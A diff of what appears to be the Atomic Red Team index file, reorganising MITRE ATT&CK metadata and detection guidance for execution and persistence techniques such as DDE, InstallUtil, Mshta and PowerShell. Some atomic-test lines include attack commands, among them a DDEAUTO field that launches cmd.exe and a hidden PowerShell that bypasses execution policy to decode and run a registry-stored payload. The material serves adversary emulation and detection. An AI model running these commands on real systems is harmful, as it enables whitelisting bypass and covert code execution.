Prevent Further Malware Attacks. Retrieved December 19, 2017. - source_name: BleepingComputer DDE Disabled in Word Dec 2017 - url: https://www.bleepingcomputer.com/news/microsoft/microsoft-disables-dde-feature-in-word-to-prevent-further-malware-attacks/ - - description: El-Sherei, S. (2016, May 20). PowerShell, C-Sharp and DDE The - Power Within. Retrieved November 22, 2017. - source_name: SensePost PS DDE May 2016 - url: https://sensepost.com/blog/2016/powershell-c-sharp-and-dde-the-power-within/ - - description: Kettle, J. (2014, August 29). Comma Separated Vulnerabilities. - Retrieved November 22, 2017. - source_name: Kettle CSV DDE Aug 2014 - url: https://www.contextis.com/blog/comma-separated-vulnerabilities - - description: Stalmans, E., El-Sherei, S. (2017, October 9). Macro-less Code - Exec in MSWord. Retrieved November 21, 2017. - source_name: SensePost MacroLess DDE Oct 2017 - url: https://sensepost.com/blog/2017/macro-less-code-exec-in-msword/ - - description: Microsoft. (2017, November 8). Microsoft Security Advisory 4053440 + - url: https://technet.microsoft.com/library/security/4053440 + description: Microsoft. (2017, November 8). Microsoft Security Advisory 4053440 - Securely opening Microsoft Office documents that contain Dynamic Data Exchange (DDE) fields. Retrieved November 21, 2017. source_name: Microsoft DDE Advisory Nov 2017 - url: https://technet.microsoft.com/library/security/4053440 - - description: NVISO Labs. (2017, October 11). Detecting DDE in MS Office documents. + - url: https://sensepost.com/blog/2017/macro-less-code-exec-in-msword/ + description: Stalmans, E., El-Sherei, S. (2017, October 9). Macro-less Code + Exec in MSWord. Retrieved November 21, 2017. + source_name: SensePost MacroLess DDE Oct 2017 + - url: https://blog.nviso.be/2017/10/11/detecting-dde-in-ms-office-documents/ + description: NVISO Labs. (2017, October 11). Detecting DDE in MS Office documents. Retrieved November 21, 2017. source_name: NVisio Labs DDE Detection Oct 2017 - url: https://blog.nviso.be/2017/10/11/detecting-dde-in-ms-office-documents/ - - description: Microsoft. (2017, December 12). ADV170021 - Microsoft Office - Defense in Depth Update. Retrieved February 3, 2018. - source_name: Microsoft ADV170021 Dec 2017 - url: https://portal.msrc.microsoft.com/security-guidance/advisory/ADV170021 - - description: 'Nelson, M. (2018, January 29). Reviving DDE: Using OneNote and + - url: https://sensepost.com/blog/2016/powershell-c-sharp-and-dde-the-power-within/ + description: El-Sherei, S. (2016, May 20). PowerShell, C-Sharp and DDE The + Power Within. Retrieved November 22, 2017. + source_name: SensePost PS DDE May 2016 + - url: https://www.contextis.com/blog/comma-separated-vulnerabilities + description: Kettle, J. (2014, August 29). Comma Separated Vulnerabilities. + Retrieved November 22, 2017. + source_name: Kettle CSV DDE Aug 2014 + - url: https://www.bleepingcomputer.com/news/microsoft/microsoft-disables-dde-feature-in-word-to-prevent-further-malware-attacks/ + description: Cimpanu, C. (2017, December 15). Microsoft Disables DDE Feature + in Word to Prevent Further Malware Attacks. Retrieved December 19, 2017. + source_name: BleepingComputer DDE Disabled in Word Dec 2017 + - url: https://posts.specterops.io/reviving-dde-using-onenote-and-excel-for-code-execution-d7226864caee + description: 'Nelson, M. (2018, January 29). Reviving DDE: Using OneNote and Excel for Code Execution. Retrieved February 3, 2018.' source_name: Enigma Reviving DDE Jan 2018 - url: https://posts.specterops.io/reviving-dde-using-onenote-and-excel-for-code-execution-d7226864caee + - url: https://portal.msrc.microsoft.com/security-guidance/advisory/ADV170021 + description: Microsoft. (2017, December 12). ADV170021 - Microsoft Office + Defense in Depth Update. Retrieved February 3, 2018. + source_name: Microsoft ADV170021 Dec 2017 object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 - created: '2018-01-16T16:13:52.465Z' - created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 - x_mitre_platforms: - - Windows + x_mitre_version: '1.0' x_mitre_data_sources: - API monitoring - DLL monitoring - - Process Monitoring + - Process monitoring - Windows Registry - Windows event logs + x_mitre_detection: |- + OLE and Office Open XML files can be scanned for ‘DDEAUTO', ‘DDE’, and other strings indicative of DDE execution. (Citation: NVisio Labs DDE Detection Oct 2017) + + Monitor for Microsoft Office applications loading DLLs and other modules not typically associated with the application. + + Monitor for spawning of unusual processes (such as cmd.exe) from Microsoft Office applications. x_mitre_permissions_required: - User x_mitre_remote_support: false - id: attack-pattern--edbe24e9-aec4-4994-ac75-6a6bc7f1ddd0 - modified: '2018-04-18T17:59:24.739Z' + x_mitre_platforms: + - Windows type: attack-pattern + kill_chain_phases: + - phase_name: execution + kill_chain_name: mitre-attack + modified: '2018-10-31T13:45:13.024Z' + created: '2018-01-16T16:13:52.465Z' identifier: T1173 atomic_tests: - name: Execute Commands @@ -13176,62 +13331,55 @@ execution: {DDEAUTO c:\\windows\\system32\\cmd.exe "/k calc.exe" } T1118: technique: + id: attack-pattern--f792d02f-813d-402b-86a5-ab98cb391d3b + created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 name: InstallUtil description: |- InstallUtil is a command-line utility that allows for installation and uninstallation of resources by executing specific installer components specified in .NET binaries. (Citation: MSDN InstallUtil) InstallUtil is located in the .NET directories on a Windows system: C:\Windows\Microsoft.NET\Framework\v\InstallUtil.exe and C:\Windows\Microsoft.NET\Framework64\v\InstallUtil.exe. InstallUtil.exe is digitally signed by Microsoft. Adversaries may use InstallUtil to proxy execution of code through a trusted Windows utility. InstallUtil may also be used to bypass process whitelisting through use of attributes within the binary that execute the class decorated with the attribute [System.ComponentModel.RunInstaller(true)]. (Citation: SubTee GitHub All The Things Application Whitelisting Bypass) - - Detection: Use process monitoring to monitor the execution and arguments of InstallUtil.exe. Compare recent invocations of InstallUtil.exe with prior history of known good arguments and executed binaries to determine anomalous and potentially adversarial activity. Command arguments used before and after the InstallUtil.exe invocation may also be useful in determining the origin and purpose of the binary being executed. - - Platforms: Windows - - Data Sources: Process monitoring, Process command-line parameters - - Defense Bypassed: Process whitelisting - - Permissions Required: User - - Remote Support: No - - Contributors: Casey Smith, Travis Smith, Tripwire - kill_chain_phases: - - kill_chain_name: mitre-attack - phase_name: defense-evasion - - kill_chain_name: mitre-attack - phase_name: execution external_references: - - url: https://attack.mitre.org/wiki/Technique/T1118 + - external_id: T1118 + url: https://attack.mitre.org/techniques/T1118 source_name: mitre-attack - external_id: T1118 - - description: Microsoft. (n.d.). Installutil.exe (Installer Tool). Retrieved + - url: https://msdn.microsoft.com/en-us/library/50614e95.aspx + description: Microsoft. (n.d.). Installutil.exe (Installer Tool). Retrieved July 1, 2016. source_name: MSDN InstallUtil - url: https://msdn.microsoft.com/en-us/library/50614e95.aspx - description: "[ Smith, C. (2016, August 17). Includes 5 Known Application Whitelisting/ Application Control Bypass Techniques in One File. Retrieved June 30, 2017." source_name: SubTee GitHub All The Things Application Whitelisting Bypass object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 - created: '2017-05-31T21:31:27.510Z' - created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 - x_mitre_platforms: - - Windows + x_mitre_version: '1.0' x_mitre_data_sources: - Process monitoring - Process command-line parameters + x_mitre_contributors: + - Casey Smith + - Travis Smith, Tripwire x_mitre_defense_bypassed: - Process whitelisting + x_mitre_detection: Use process monitoring to monitor the execution and arguments + of InstallUtil.exe. Compare recent invocations of InstallUtil.exe with prior + history of known good arguments and executed binaries to determine anomalous + and potentially adversarial activity. Command arguments used before and after + the InstallUtil.exe invocation may also be useful in determining the origin + and purpose of the binary being executed. x_mitre_permissions_required: - User x_mitre_remote_support: false - x_mitre_contributors: - - Casey Smith - - Travis Smith, Tripwire - id: attack-pattern--f792d02f-813d-402b-86a5-ab98cb391d3b - modified: '2018-04-18T17:59:24.739Z' + x_mitre_platforms: + - Windows type: attack-pattern + kill_chain_phases: + - phase_name: defense-evasion + kill_chain_name: mitre-attack + - phase_name: execution + kill_chain_name: mitre-attack + modified: '2018-10-17T00:14:20.652Z' + created: '2017-05-31T21:31:27.510Z' identifier: T1118 atomic_tests: - name: InstallUtil uninstall method call @@ -13252,6 +13400,8 @@ execution: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=false /U #{filename} T1152: technique: + id: attack-pattern--53bfc8bf-8f76-4cd7-8958-49a884ddb3ee + created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 name: Launchctl description: "Launchctl controls the macOS launchd process which handles things like launch agents and launch daemons, but can execute other commands or programs @@ -13263,40 +13413,27 @@ execution: \"arg\" \"arg\" \"arg\". Loading, unloading, or reloading launch agents or launch daemons can require elevated privileges. \n\nAdversaries can abuse this functionality to execute code or even bypass whitelisting if launchctl - is an allowed process.\n\nDetection: Knock Knock can be used to detect persistent - programs such as those installed via launchctl as launch agents or launch - daemons. Additionally, every launch agent or launch daemon must have a corresponding - plist file on disk somewhere which can be monitored. Monitor process execution - from launchctl/launchd for unusual or unknown processes.\n\nPlatforms: macOS\n\nData - Sources: File monitoring, Process Monitoring, Process command-line parameters\n\nDefense - Bypassed: Application whitelisting, Process whitelisting, Whitelisting by - file name or path\n\nPermissions Required: User, Administrator\n\nRemote Support: - No" - kill_chain_phases: - - kill_chain_name: mitre-attack - phase_name: defense-evasion - - kill_chain_name: mitre-attack - phase_name: execution - - kill_chain_name: mitre-attack - phase_name: persistence + is an allowed process." external_references: - - url: https://attack.mitre.org/wiki/Technique/T1152 + - external_id: T1152 + url: https://attack.mitre.org/techniques/T1152 source_name: mitre-attack - external_id: T1152 - - description: Dani Creus, Tyler Halfpop, Robert Falcone. (2016, September 26). + - url: https://researchcenter.paloaltonetworks.com/2016/09/unit42-sofacys-komplex-os-x-trojan/ + description: Dani Creus, Tyler Halfpop, Robert Falcone. (2016, September 26). Sofacy's 'Komplex' OS X Trojan. Retrieved July 8, 2017. source_name: Sofacy Komplex Trojan - url: https://researchcenter.paloaltonetworks.com/2016/09/unit42-sofacys-komplex-os-x-trojan/ object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 - created: '2017-12-14T16:46:06.044Z' - created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 - x_mitre_platforms: - - macOS + x_mitre_version: '1.0' x_mitre_data_sources: - File monitoring - - Process Monitoring + - Process monitoring - Process command-line parameters + x_mitre_detection: Knock Knock can be used to detect persistent programs such + as those installed via launchctl as launch agents or launch daemons. Additionally, + every launch agent or launch daemon must have a corresponding plist file on + disk somewhere which can be monitored. Monitor process execution from launchctl/launchd + for unusual or unknown processes. x_mitre_defense_bypassed: - Application whitelisting - Process whitelisting @@ -13304,10 +13441,19 @@ execution: x_mitre_permissions_required: - User - Administrator + x_mitre_platforms: + - macOS x_mitre_remote_support: false - id: attack-pattern--53bfc8bf-8f76-4cd7-8958-49a884ddb3ee - modified: '2018-04-18T17:59:24.739Z' type: attack-pattern + kill_chain_phases: + - phase_name: defense-evasion + kill_chain_name: mitre-attack + - phase_name: execution + kill_chain_name: mitre-attack + - phase_name: persistence + kill_chain_name: mitre-attack + modified: '2018-10-31T13:45:13.024Z' + created: '2017-12-14T16:46:06.044Z' identifier: T1152 atomic_tests: - name: Launchctl @@ -13323,88 +13469,84 @@ execution: ' T1168: technique: + id: attack-pattern--c0a384a4-9a25-40e1-97b6-458388474bc8 + created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 name: Local Job Scheduling description: |- - On Linux and Apple systems, multiple methods are supported for creating pre-scheduled and periodic background jobs: cron, (Citation: Die.net Linux crontab Man Page) at, (Citation: Die.net Linux at Man Page) and launchd. (Citation: AppleDocs Scheduling Timed Jobs) Unlike Scheduled Task on Windows systems, job scheduling on Linux-based systems cannot be done remotely unless used in conjunction within an established remote session, like secure shell (SSH). + On Linux and macOS systems, multiple methods are supported for creating pre-scheduled and periodic background jobs: cron, (Citation: Die.net Linux crontab Man Page) at, (Citation: Die.net Linux at Man Page) and launchd. (Citation: AppleDocs Scheduling Timed Jobs) Unlike [Scheduled Task](https://attack.mitre.org/techniques/T1053) on Windows systems, job scheduling on Linux-based systems cannot be done remotely unless used in conjunction within an established remote session, like secure shell (SSH). - ===cron=== + ### cron - System-wide cron jobs are installed by modifying /etc/crontab file, /etc/cron.d/ directory or other locations supported by the Cron daemon, while per-user cron jobs are installed using crontab with specifically formatted crontab files. (Citation: AppleDocs Scheduling Timed Jobs) This works on Mac and Linux systems. + System-wide cron jobs are installed by modifying /etc/crontab file, /etc/cron.d/ directory or other locations supported by the Cron daemon, while per-user cron jobs are installed using crontab with specifically formatted crontab files. (Citation: AppleDocs Scheduling Timed Jobs) This works on macOS and Linux systems. Those methods allow for commands or scripts to be executed at specific, periodic intervals in the background without user interaction. An adversary may use job scheduling to execute programs at system startup or on a scheduled basis for Persistence, (Citation: Janicab) (Citation: Methods of Mac Malware Persistence) (Citation: Malware Persistence on OS X) (Citation: Avast Linux Trojan Cron Persistence) to conduct Execution as part of Lateral Movement, to gain root privileges, or to run a process under the context of a specific account. - ===at=== + ### at - The at program is another means on Linux-based systems, including Mac, to schedule a program or script job for execution at a later date and/or time, which could also be used for the same purposes. + The at program is another means on POSIX-based systems, including macOS and Linux, to schedule a program or script job for execution at a later date and/or time, which could also be used for the same purposes. - ===launchd=== + ### launchd - Each launchd job is described by a different configuration property list (plist) file similar to Launch Daemon or Launch Agent, except there is an additional key called StartCalendarInterval with a dictionary of time values. (Citation: AppleDocs Scheduling Timed Jobs) This only works on macOS and OS X. - - Detection: Legitimate scheduled jobs may be created during installation of new software or through administration functions. Jobs scheduled with launchd and cron can be monitored from their respective utilities to list out detailed information about the jobs. Monitor process execution resulting from launchd and cron tasks to look for unusual or unknown applications and behavior. - - Platforms: Linux, macOS - - Data Sources: File monitoring, Process Monitoring - - Permissions Required: Administrator, User, root - - Contributors: Anastasios Pingios - kill_chain_phases: - - kill_chain_name: mitre-attack - phase_name: persistence - - kill_chain_name: mitre-attack - phase_name: execution + Each launchd job is described by a different configuration property list (plist) file similar to [Launch Daemon](https://attack.mitre.org/techniques/T1160) or [Launch Agent](https://attack.mitre.org/techniques/T1159), except there is an additional key called StartCalendarInterval with a dictionary of time values. (Citation: AppleDocs Scheduling Timed Jobs) This only works on macOS and OS X. external_references: - - url: https://attack.mitre.org/wiki/Technique/T1168 + - external_id: T1168 + url: https://attack.mitre.org/techniques/T1168 source_name: mitre-attack - external_id: T1168 - - description: Apple. (n.d.). Retrieved July 17, 2017. + - url: https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/ScheduledJobs.html + description: Apple. (n.d.). Retrieved July 17, 2017. source_name: AppleDocs Scheduling Timed Jobs - url: https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/ScheduledJobs.html - - description: Thomas. (2013, July 15). New signed malware called Janicab. Retrieved + - url: http://www.thesafemac.com/new-signed-malware-called-janicab/ + description: Thomas. (2013, July 15). New signed malware called Janicab. Retrieved July 17, 2017. source_name: Janicab - url: http://www.thesafemac.com/new-signed-malware-called-janicab/ - - description: Patrick Wardle. (2014, September). Methods of Malware Persistence + - url: https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf + description: Patrick Wardle. (2014, September). Methods of Malware Persistence on Mac OS X. Retrieved July 5, 2017. source_name: Methods of Mac Malware Persistence - url: https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf - - description: Patrick Wardle. (2015). Malware Persistence on OS X Yosemite. + - url: https://www.rsaconference.com/writable/presentations/file_upload/ht-r03-malware-persistence-on-os-x-yosemite_final.pdf + description: Patrick Wardle. (2015). Malware Persistence on OS X Yosemite. Retrieved July 10, 2017. source_name: Malware Persistence on OS X - url: https://www.rsaconference.com/writable/presentations/file%20upload/ht-r03-malware-persistence-on-os-x-yosemite%20final.pdf - - description: Paul Vixie. (n.d.). crontab(5) - Linux man page. Retrieved December + - url: https://linux.die.net/man/5/crontab + description: Paul Vixie. (n.d.). crontab(5) - Linux man page. Retrieved December 19, 2017. source_name: Die.net Linux crontab Man Page - url: https://linux.die.net/man/5/crontab - - description: Thomas Koenig. (n.d.). at(1) - Linux man page. Retrieved December + - url: https://linux.die.net/man/1/at + description: Thomas Koenig. (n.d.). at(1) - Linux man page. Retrieved December 19, 2017. source_name: Die.net Linux at Man Page - url: https://linux.die.net/man/1/at - - description: Threat Intelligence Team. (2015, January 6). Linux DDoS Trojan + - url: https://blog.avast.com/2015/01/06/linux-ddos-trojan-hiding-itself-with-an-embedded-rootkit/ + description: Threat Intelligence Team. (2015, January 6). Linux DDoS Trojan hiding itself with an embedded rootkit. Retrieved January 8, 2018. source_name: Avast Linux Trojan Cron Persistence - url: https://blog.avast.com/2015/01/06/linux-ddos-trojan-hiding-itself-with-an-embedded-rootkit/ object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 - created: '2017-12-14T16:46:06.044Z' - created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 + x_mitre_version: '1.0' + x_mitre_data_sources: + - File monitoring + - Process monitoring + x_mitre_contributors: + - Anastasios Pingios + x_mitre_detection: Legitimate scheduled jobs may be created during installation + of new software or through administration functions. Jobs scheduled with launchd + and cron can be monitored from their respective utilities to list out detailed + information about the jobs. Monitor process execution resulting from launchd + and cron tasks to look for unusual or unknown applications and behavior. x_mitre_platforms: - Linux - macOS - x_mitre_data_sources: - - File monitoring - - Process Monitoring x_mitre_permissions_required: - Administrator - User - root - x_mitre_contributors: - - Anastasios Pingios - id: attack-pattern--c0a384a4-9a25-40e1-97b6-458388474bc8 - modified: '2018-04-18T17:59:24.739Z' type: attack-pattern + kill_chain_phases: + - phase_name: persistence + kill_chain_name: mitre-attack + - phase_name: execution + kill_chain_name: mitre-attack + modified: '2018-10-31T13:45:13.024Z' + created: '2017-12-14T16:46:06.044Z' identifier: T1168 atomic_tests: - name: Cron Job @@ -13477,6 +13619,8 @@ execution: 3. sudo touch /private/var/db/emondClients/randomflag T1170: technique: + id: attack-pattern--a127c32c-cbb0-4f9d-be07-881a792408ec + created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 name: Mshta description: "Mshta.exe is a utility that executes Microsoft HTML Applications (HTA). HTA files have the file extension .hta. (Citation: Wikipedia @@ -13494,77 +13638,69 @@ execution: can be used to bypass application whitelisting solutions that do not account for its potential use. Since mshta.exe executes outside of the Internet Explorer's security context, it also bypasses browser security settings. (Citation: GitHub - SubTee The List)\n\nDetection: Use process monitoring to monitor the execution - and arguments of mshta.exe. Look for mshta.exe executing raw or obfuscated - script within the command-line. Compare recent invocations of mshta.exe with - prior history of known good arguments and executed binaries to determine anomalous - and potentially adversarial activity. Command arguments used before and after - the mshta.exe invocation may also be useful in determining the origin and - purpose of the binary being executed.\n\nMonitor use of HTA files. If they - are not typically used within an environment then execution of them may be - suspicious.\n\nPlatforms: Windows\n\nData Sources: Process monitoring, Process - command-line parameters\n\nDefense Bypassed: Application whitelisting\n\nPermissions - Required: User\n\nRemote Support: No\n\nContributors: Ricardo Dias, Ye Yint - Min Thu Htut, Offensive Security Team, DBS Bank" - kill_chain_phases: - - kill_chain_name: mitre-attack - phase_name: defense-evasion - - kill_chain_name: mitre-attack - phase_name: execution + SubTee The List)" external_references: - - url: https://attack.mitre.org/wiki/Technique/T1170 + - external_id: T1170 + url: https://attack.mitre.org/techniques/T1170 source_name: mitre-attack - external_id: T1170 - - description: Wikipedia. (2017, October 14). HTML Application. Retrieved October + - url: https://en.wikipedia.org/wiki/HTML_Application + description: Wikipedia. (2017, October 14). HTML Application. Retrieved October 27, 2017. source_name: Wikipedia HTML Application - url: https://en.wikipedia.org/wiki/HTML%20Application - - description: Microsoft. (n.d.). HTML Applications. Retrieved October 27, 2017. + - url: https://msdn.microsoft.com/library/ms536471.aspx + description: Microsoft. (n.d.). HTML Applications. Retrieved October 27, 2017. source_name: MSDN HTML Applications - url: https://msdn.microsoft.com/library/ms536471.aspx - - description: Gross, J. (2016, February 23). Operation Dust Storm. Retrieved + - url: https://www.cylance.com/content/dam/cylance/pdfs/reports/Op_Dust_Storm_Report.pdf + description: Gross, J. (2016, February 23). Operation Dust Storm. Retrieved September 19, 2017. source_name: Cylance Dust Storm - url: https://www.cylance.com/content/dam/cylance/pdfs/reports/Op%20Dust%20Storm%20Report.pdf - - description: McCammon, K. (2015, August 14). Microsoft HTML Application (HTA) + - url: https://www.redcanary.com/blog/microsoft-html-application-hta-abuse-part-deux/ + description: McCammon, K. (2015, August 14). Microsoft HTML Application (HTA) Abuse, Part Deux. Retrieved October 27, 2017. source_name: Red Canary HTA Abuse Part Deux - url: https://www.redcanary.com/blog/microsoft-html-application-hta-abuse-part-deux/ - - description: 'Berry, A., Galang, L., Jiang, G., Leathery, J., Mohandas, R. + - url: https://www.fireeye.com/blog/threat-research/2017/04/cve-2017-0199-hta-handler.html + description: 'Berry, A., Galang, L., Jiang, G., Leathery, J., Mohandas, R. (2017, April 11). CVE-2017-0199: In the Wild Attacks Leveraging HTA Handler. Retrieved October 27, 2017.' source_name: FireEye Attacks Leveraging HTA - url: https://www.fireeye.com/blog/threat-research/2017/04/cve-2017-0199-hta-handler.html - - description: Dove, A. (2016, March 23). Fileless Malware – A Behavioural Analysis - Of Kovter Persistence. Retrieved December 5, 2017. - source_name: Airbus Security Kovter Analysis - - description: Carr, N., et al. (2017, April 24). FIN7 Evolution and the Phishing - LNK. Retrieved April 24, 2017. - source_name: FireEye FIN7 April 2017 - url: https://www.fireeye.com/blog/threat-research/2017/04/fin7-phishing-lnk.html - description: "[ Smith, C. (2017, July 14). TheList.txt. Retrieved October 27, 2017." source_name: GitHub SubTee The List + - url: https://www.fireeye.com/blog/threat-research/2017/04/fin7-phishing-lnk.html + description: Carr, N., et al. (2017, April 24). FIN7 Evolution and the Phishing + LNK. Retrieved April 24, 2017. + source_name: FireEye FIN7 April 2017 + - description: Dove, A. (2016, March 23). Fileless Malware – A Behavioural Analysis + Of Kovter Persistence. Retrieved December 5, 2017. + source_name: Airbus Security Kovter Analysis object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 - created: '2018-01-16T16:13:52.465Z' - created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 - x_mitre_platforms: - - Windows + x_mitre_version: '1.0' x_mitre_data_sources: - Process monitoring - Process command-line parameters - x_mitre_defense_bypassed: - - Application whitelisting - x_mitre_permissions_required: - - User - x_mitre_remote_support: false x_mitre_contributors: - Ricardo Dias - Ye Yint Min Thu Htut, Offensive Security Team, DBS Bank - id: attack-pattern--a127c32c-cbb0-4f9d-be07-881a792408ec - modified: '2018-04-18T17:59:24.739Z' + x_mitre_defense_bypassed: + - Application whitelisting + x_mitre_detection: |- + Use process monitoring to monitor the execution and arguments of mshta.exe. Look for mshta.exe executing raw or obfuscated script within the command-line. Compare recent invocations of mshta.exe with prior history of known good arguments and executed binaries to determine anomalous and potentially adversarial activity. Command arguments used before and after the mshta.exe invocation may also be useful in determining the origin and purpose of the binary being executed. + + Monitor use of HTA files. If they are not typically used within an environment then execution of them may be suspicious. + x_mitre_permissions_required: + - User + x_mitre_remote_support: false + x_mitre_platforms: + - Windows type: attack-pattern + kill_chain_phases: + - phase_name: defense-evasion + kill_chain_name: mitre-attack + - phase_name: execution + kill_chain_name: mitre-attack + modified: '2018-10-17T00:14:20.652Z' + created: '2018-01-16T16:13:52.465Z' identifier: T1170 atomic_tests: - name: Mshta executes JavaScript Scheme Fetch Remote Payload With GetObject @@ -13585,6 +13721,8 @@ execution: ' T1086: technique: + id: attack-pattern--f4882e23-8aa7-4b12-b28a-b349c12ee9e0 + created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 name: PowerShell description: "PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system. (Citation: @@ -13597,69 +13735,57 @@ execution: permissions are required to use PowerShell to connect to remote systems.\n\nA number of PowerShell-based offensive testing tools are available, including Empire, (Citation: Github PowerShell Empire) PowerSploit, (Citation: Powersploit) - and PSAttack. (Citation: Github PSAttack)\n\nDetection: If proper execution - policy is set, adversaries will likely be able to define their own execution - policy if they obtain administrator or system access, either through the Registry - or at the command line. This change in policy on a system may be a way to - detect malicious use of PowerShell. If PowerShell is not used in an environment, - then simply looking for PowerShell execution may detect malicious activity.\n\nIt - is also beneficial to turn on PowerShell logging to gain increased fidelity - in what occurs during execution. (Citation: Malware Archaeology PowerShell - Cheat Sheet) PowerShell 5.0 introduced enhanced logging capabilities, and - some of those features have since been added to PowerShell 4.0. Earlier versions - of PowerShell do not have many logging features. (Citation: FireEye PowerShell - Logging 2016) An organization can gather PowerShell execution details in a - data analytic platform to supplement it with other data.\n\nPlatforms: Windows\n\nData - Sources: Windows Registry, File monitoring, Process command-line parameters, - Process monitoring\n\nPermissions Required: User, Administrator\n\nRemote - Support: Yes" - kill_chain_phases: - - kill_chain_name: mitre-attack - phase_name: execution + and PSAttack. (Citation: Github PSAttack)" external_references: - - url: https://attack.mitre.org/wiki/Technique/T1086 + - external_id: T1086 + url: https://attack.mitre.org/techniques/T1086 source_name: mitre-attack - external_id: T1086 - - description: Microsoft. (n.d.). Windows PowerShell Scripting. Retrieved April + - url: https://www.fireeye.com/blog/threat-research/2016/02/greater_visibilityt.html + description: Dunwoody, M. (2016, February 11). GREATER VISIBILITY THROUGH + POWERSHELL LOGGING. Retrieved February 16, 2016. + source_name: FireEye PowerShell Logging 2016 + - url: https://technet.microsoft.com/en-us/scriptcenter/dd742419.aspx + description: Microsoft. (n.d.). Windows PowerShell Scripting. Retrieved April 28, 2016. source_name: TechNet PowerShell - url: https://technet.microsoft.com/en-us/scriptcenter/dd742419.aspx - - description: Schroeder, W., Warner, J., Nelson, M. (n.d.). Github PowerShellEmpire. - Retrieved April 28, 2016. - source_name: Github PowerShell Empire - url: https://github.com/PowerShellEmpire/Empire - - description: PowerSploit. (n.d.). Retrieved December 4, 2014. + - url: https://github.com/mattifestation/PowerSploit + description: PowerSploit. (n.d.). Retrieved December 4, 2014. source_name: Powersploit - url: https://github.com/mattifestation/PowerSploit - - description: Haight, J. (2016, April 21). PS>Attack. Retrieved June 1, 2016. + - url: https://github.com/jaredhaight/PSAttack + description: Haight, J. (2016, April 21). PS>Attack. Retrieved June 1, 2016. source_name: Github PSAttack - url: https://github.com/jaredhaight/PSAttack - - description: Malware Archaeology. (2016, June). WINDOWS POWERSHELL LOGGING + - url: https://github.com/PowerShellEmpire/Empire + description: Schroeder, W., Warner, J., Nelson, M. (n.d.). Github PowerShellEmpire. + Retrieved April 28, 2016. + source_name: Github PowerShell Empire + - url: http://www.malwarearchaeology.com/s/Windows-PowerShell-Logging-Cheat-Sheet-ver-June-2016-v2.pdf + description: Malware Archaeology. (2016, June). WINDOWS POWERSHELL LOGGING CHEAT SHEET - Win 7/Win 2008 or later. Retrieved June 24, 2016. source_name: Malware Archaeology PowerShell Cheat Sheet - url: http://www.malwarearchaeology.com/s/Windows-PowerShell-Logging-Cheat-Sheet-ver-June-2016-v2.pdf - - description: Dunwoody, M. (2016, February 11). GREATER VISIBILITY THROUGH - POWERSHELL LOGGING. Retrieved February 16, 2016. - source_name: FireEye PowerShell Logging 2016 - url: https://www.fireeye.com/blog/threat-research/2016/02/greater%20visibilityt.html object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 - created: '2017-05-31T21:31:06.512Z' - created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 - x_mitre_platforms: - - Windows + x_mitre_version: '1.0' + x_mitre_detection: |- + If proper execution policy is set, adversaries will likely be able to define their own execution policy if they obtain administrator or system access, either through the Registry or at the command line. This change in policy on a system may be a way to detect malicious use of PowerShell. If PowerShell is not used in an environment, then simply looking for PowerShell execution may detect malicious activity. + + It is also beneficial to turn on PowerShell logging to gain increased fidelity in what occurs during execution. (Citation: Malware Archaeology PowerShell Cheat Sheet) PowerShell 5.0 introduced enhanced logging capabilities, and some of those features have since been added to PowerShell 4.0. Earlier versions of PowerShell do not have many logging features. (Citation: FireEye PowerShell Logging 2016) An organization can gather PowerShell execution details in a data analytic platform to supplement it with other data. x_mitre_data_sources: - Windows Registry - File monitoring - - Process command-line parameters - Process monitoring + - Process command-line parameters x_mitre_permissions_required: - User - Administrator x_mitre_remote_support: true - id: attack-pattern--f4882e23-8aa7-4b12-b28a-b349c12ee9e0 - modified: '2018-04-18T17:59:24.739Z' + x_mitre_platforms: + - Windows type: attack-pattern + kill_chain_phases: + - phase_name: execution + kill_chain_name: mitre-attack + modified: '2018-10-17T00:14:20.652Z' + created: '2017-05-31T21:31:06.512Z' identifier: T1086 atomic_tests: - name: Mimikatz @@ -13853,66 +13979,59 @@ execution: powershell.exe -noprofile -windowstyle hidden -executionpolicy bypass iex ([Text.Encoding]::ASCII.GetString([Convert]::FromBase64String((gp 'HKCU:\Software\Classes\AtomicRedTeam').ART))) T1121: technique: + id: attack-pattern--215190a9-9f02-4e83-bb5f-e0589965a302 + created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 name: Regsvcs/Regasm description: |- Regsvcs and Regasm are Windows command-line utilities that are used to register .NET Component Object Model (COM) assemblies. Both are digitally signed by Microsoft. (Citation: MSDN Regsvcs) (Citation: MSDN Regasm) Adversaries can use Regsvcs and Regasm to proxy execution of code through a trusted Windows utility. Both utilities may be used to bypass process whitelisting through use of attributes within the binary to specify code that should be run before registration or unregistration: [ComRegisterFunction] or [ComUnregisterFunction] respectively. The code with the registration and unregistration attributes will be executed even if the process is run under insufficient privileges and fails to execute. (Citation: SubTee GitHub All The Things Application Whitelisting Bypass) - - Detection: Use process monitoring to monitor the execution and arguments of Regsvcs.exe and Regasm.exe. Compare recent invocations of 